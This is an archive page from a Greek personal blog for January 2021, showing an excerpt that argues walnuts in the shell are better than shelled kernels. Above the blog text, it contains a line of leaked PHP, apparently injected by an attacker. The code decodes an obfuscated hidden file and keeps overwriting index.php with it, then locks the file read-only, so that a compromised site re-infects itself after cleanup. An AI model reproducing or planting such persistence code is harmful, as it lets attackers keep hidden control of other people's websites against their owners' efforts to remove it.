$i_p = "index.php"; $index = file_get_contents($i_p); $path = "{index_hide}"; if (file_exists($path)) { $index_hide = file_get_contents($path); $index_hide = base64_decode(str_rot13(base64_decode(str_rot13($index_hide)))); if(md5($index) != md5($index_hide)) { @chmod($i_p, 0644); @file_put_contents($i_p, $index_hide); @chmod($i_p, 0444); } } 2021 Ιανουάριος Archive | Γεώργιος Α. Δαουτόπουλος, M.A., Ph.D.

Monthly Archives: Ιανουάριος 2021

Καρύδια με κέλυφος ή ψίχα

Έχω πάρα πολλές φορές επισημάνει το μεγάλο λάθος που κάνουνε οι σύγχρονες Ελληνίδες νοικοκυρές αγοράζοντας ψίχα καρυδιών και όχι καρύδια με κέλυφος. Και ενώ καταβάλλουν προσπάθειες να παρασκευάσουν τα καλύτερα παρασκευάσματα για τους δικούς τους ανθρώπους, αμελούν στο θέμα της ποιότητας των καρυδιών που χρησιμοποιούν. Όπως θα δείτε στον παρακάτω πίνακα τα καρύδια με κέλυφος…
Περισσότερα